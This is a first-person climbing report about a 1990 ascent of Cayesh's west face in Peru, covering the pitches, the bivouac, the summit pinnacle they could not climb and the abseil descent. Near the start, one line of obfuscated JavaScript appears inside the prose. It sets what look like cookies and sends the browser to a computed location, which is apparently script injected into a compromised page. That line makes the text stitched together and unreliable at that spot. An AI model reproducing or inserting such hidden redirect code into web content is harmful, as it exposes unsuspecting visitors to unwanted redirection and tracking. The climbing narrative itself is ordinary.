By Paul Harrington

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On Sunday 29th July, 1990, Declan and I were celebrating in the Tambo Bar, Huaraz, Peru. We had just arrived back in Huaraz that day after having climbed the very popular Alpamayo which is one of the most beautiful mountains in the Cordillera Blanca.

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Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
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The walk in took over 5 hours and it wasn't until we were almost at base camp that we got our first view of the mountain. To be honest I was a little disappointed. The mountain consists of two very steep faces separated by knife-edged ridges. The photo I'd seen was taken from an angle looking along the south ridge so the mountain assumed the appearance of an icy spire. We were looking onto the west face and even though it was steep and impressive, at 600 m height it wasn't as spectacular as some of the European Alpine faces that I had seen.

Next morning we left at a little after 8.00 am to dump some gear at the glacier's edge, make tracks in the snow to the base of the route and survey the chosen line.

The line we were going to try was a route done on the west face two years previously by two Germans, Matte Roeper and Jorg Steinsberger. As far as I know we were trying its second ascent. We got the route topo from the "Casa de Guias" in Huaraz. The ramps on the bottom part of the face were fairly obvious, but from their end the route took a more or less direct line up the face. It was relatively free from objective danger however. Given that other lines on the mountain have already taken three lives it may well become one of the more popular routes by which the mountain will be climbed in the future.

Cayesh has had an interesting history. The first ascent, in 1960, involved a truly horrendous

climb along the peak's overhung, corniced and heavily mushroomed south ridge by three intrepid New Zealanders. The second ascent took place in 1984, with a superbly technical and serious route up the east face by Messrs Richey and Rhody Loadies. The crux of this five-day horror-show was centred around tiers of ice ceilings projecting out thirty feet horizontally at mid-height on the face. The suspended icicles which decorated these tiers were surmounted amidst graphic details of axe-hooking on pockets, with icicle tie- offs for protection!

Despite numerous attempts on the west side of the mountain by American and European teams, it was not until 1986 that it was finally climbed by Jerry Gore and Terry Moore. Their ascent, which was the mountain's third, involved a six- day adventure taking a meandering line up the wall. (Above information obtained from Mountain 113 Jan/Feb 1987). After 1986 I'm not sure what Cayesh's history is as the only source of information available to me was the route book in the Casa de Guias and quite a lot of people don't leave any details of routes done in it. The German route which we were going to attempt was opened in 1988 and in 1989 a couple of Italians did a new route on Cayesh's Northwest face in brilliant style leaving base camp at midnight, getting to the summit at 2.00 pm and arriving back at base camp that same day. It is quite interesting that recent ascents have been taking 1-2 days instead of 4-6. The mountain has lost a fair portion of snow in the last few years which might be largely accountable for this.

So tracks made on the glacier, gear dumped and the route sussed, we arrived back at base camp at around 4.00 pm for another big Victor feed-up.

The following morning we left base camp at around 5.30 am, not wanting to be on the face too early as it doesn't get the sun until quite late. Taking our time and having a long lunch stop on the glacier it was about midday when we started to tackle the wall. Manuel wanted to start off in plastics but I preferred my rock boots, so I led off and ended up leading all seven rock pitches that day, with Manuel having a heavier sack. The first few pitches were comparatively straightforward but the lack of protection was a little disconcerting. Most of the Cordillera Blanca is granite but here the rock type is different and I'm not sure what it is. There are plenty of small incut holds but the rock quality wasn't too inspiring with a considerable proportion of the tested holds rocking or peeling off. Our rack consisted of a set of wires, various pitons and three friends. The wires were virtually useless with what cracks there were being of parallel formation so we relied mainly on the friends and blade pitons for protection. This being probably a second ascent also meant that there was no in-situ gear. The only equipment we came across were abseil points spaced about 45 m to 50 m apart.

The first of the real difficulties arrived at the fixed ropes. The ground here was very steep and if climbed free might have been considerably harder that anything else on the route, though it is

hard to judge with the sacks being so heavy. There was considerable temptation to attach two prussiks to the rope and just prussik my way up but not knowing how old the ropes were, or what they were anchored to, I decided on a combination of techniques.

Attaching one prussik to the rope, placing gear where possible, (number one friend and microwire) and using it for both aid and protection, by choosing the better holds I eventually worked my way to the belay. Puffing and panting at the stance I felt more like an engineer than a mountaineer. The feeling of relief quickly dissipated however when I turned around and saw the next pitch.

This was going to be the problem pitch of the day having to be climbed free at VI-. I traversed across to steeper ground. Looking up and seeing the angle those innate animal instincts of man emerged and my rucksack came off my back. That was a problem which could be dealt with later. Teetering my way up on suspect holds with the ground getting steeper and my couple of pieces of gear getting further away I was struck by the full impact of the consequences of a fall on this mountain. Whinging down to Manuel about the rock quality, I continued on and eventually reached easier ground getting a belay of sorts. Manuel changed into his rock boots and came up superbly with his own sack on his back and at the same time stopping every couple of metres to lift mine so that I could take in the slack running down to it.

We got to the mixed ground shortly before dark at around 6.00 pm and dressed ourselves in full ice-climbing equipment.. Manuel led out in two full rope- length pitches and got to the bivouac spot at around 8.00 pm. Even though there was a full moon, it wasn't shining on the face yet and progress was quite difficult in the dark. The terrain consisted of low-angled rock which could be climbed quite easily in crampons, a 50-55 degree snow and ice runnel near the top and in the middle there were steeper ice sections of up to 75 degrees with protruding rocks and some brittle ice. All in all probably about Scottish grade four.

The bivouac spot turned out to be a disappointment. The German pair called it the 'Vulture's Bivouac' and we assumed this meant a nice platform already waiting there for us. What we found though was just 55 degree snow and ice leading to the headwall. It didn't take long to realise that the name of our perch referred to the steep drop below us and the magnificent panorama in front of us. Signalling with head torches to base camp that all was okay, we began the arduous job of chopping a ledge and an hour and a half later we saw ourselves with space to cook and half lie down. It was the early hours of the morning when we both had our fill of food and liquid. The view from the wall was spectacular with the moon illuminating other mountains and clusters of clouds which floated around below us every now and again. My only sorrow was that I was watching the night-time spectacle from a cold bivouac and not from a comfortable

restaurant somehow attached to the headwall instead.

We were reluctant to get moving in the cold of the morning, hoping in vain that the sun's enchanting rays might strike the impending wall above us. By the time we were ready for the final assault it was 10.30 am. That last wall was majestic and intimidating even though it was only 70 m high. Generally vertical, and overhanging in places, it brought back memories of the feelings which had sifted through me when I first walked under the Fair Head sea cliffs. There was one semi-obvious line of weakness and it was this which we hoped would take us to the summit.

Manuel was keen to do some leading on rock and as he was technically better that me we reckoned it would be quicker if he led all three pitches, while I carried the slightly heavier sack. They were much lighter now anyway, with the bivouac gear, stove and food left on the bivouac ledge.

Before leading the first pitch he spent a lot of time kicking his rock boots against his opposite legs trying to get the circulation back into his toes. The first pitch turned out to be a shortish one and not too hard, being probably about UIAA V. I could manage it keeping my inner gloves on. The rocks were verglassed in places and my eyes had to target patches of ice-free rock for the hands and feet to be projected onto. Even though we were climbing in rock boots it had more of a feeling of a Scottish winter route than anything else.

After more time rewarming his feet at the belay, Manuel led out almost a full rope length seeming to take an infinity and then yet another shorter infinity to reach a belay and call me up. During these infinities I was doing whatever possible to aid my blood circulation and coaxing myself to be patient, realising that Manuel was the one at the sharp end. My wildly hostile surroundings produced a mixture of feelings from admiration for the beauty of those ice ceilings projecting from the face to a longing that the sun god who was shedding his life on another part of this bastion would also reach out and enflame my spirit.

Eventually I started climbing and soon realised that my inner gloves would have to come off as it was a little too steep and the holds were a little too small for them. The route description showed a VI- and before seeing this monster I naively thought it might have been just a couple of moves but the moves were continuously around British 4c/5a standard. The pattern was to make a move or two and then spend a couple of minutes blowing some circulation back into the hands again. At one point I remember a sheet of thin ice with some holes in it blocking our

shallow diedre. A hand slotted itself in one of the holes and the legs telescopically projected themselves either side of it with feet targetting patches of dry ice-free rock. At another point on a traverse section into another vague diedre one of those dreaded holds broke loose. My feet were temporarily suspended in space but the hand grips were strong and I saved myself a swing. Eventually joining Manuel on the belay two hours after he first began to tackle the pitch and seeing his belay consisted of two blade pegs in an area where at first sight there appeared to be absolutely nothing, I was struck by the realisation that it was a brilliant lead, Manuel Anson from Zaragosa, Spain. It was one of those pitches which exhibits mountaineering in its most splendid form - a combination of technicality and uncertainty at more than 18,500 feet on a beautiful mountain in exhilarating surroundings.

Manuel also led the third pitch which was short but had one hard move fifteen feet above the belay with absolutely no protection between it and the belay.

So we completed the route and there was the snowy summit pinnacle only a pitch above us. Dressed once again in full ice gear I headed off to see if I could get up and get a good snow stake in. The first 10 m or so was steepish soft snow which reared towards the vertical higher up. I tried one way where the angle was about 70 degrees but could make no impression. There was smooth rock underneath a few feet of powder snow and my feet just kept slipping back down with my axes also splashing around. I then traversed around to the right where I saw what I thought would be 7 or 8 metres of near-vertical ice leading to lower-angled ground. I could hardly believe my eyes when got there. Near- vertical disgusting powder snow, surely an impossibility! I tried placing my axes in different positions, scraping snow and replacing them but no matter what they just kept ripping. In my two winters and twenty-plus winter climbs in Scotland I had never come across anything like this before. There was the summit, that pinnacle of 'The Cayesh' (Cayesh in Quecha means calling) towering 15 m above me frustratingly unattainable. Being more than 10 m above the belay and having one very psychological ice-screw I returned to the belay disappointed. Manuel tried, got to the same point and splashed around turning himself into a human snowman. A reminder that we had completed the route and that it was getting late saw him return to the belay, also disappointed.

We started abseiling at 4.15. It was no anti-climax! The rope jammed twice (the second time we had to leave one rope - Declan's!- behind), belays were hard to find, especially in the dark, and we had a dicy traverse below the mixed section.

Taking our time we arrived back at base camp a little after midnight to hugs from the girls, congratulations from Declan and a nice fireside meal from Victor.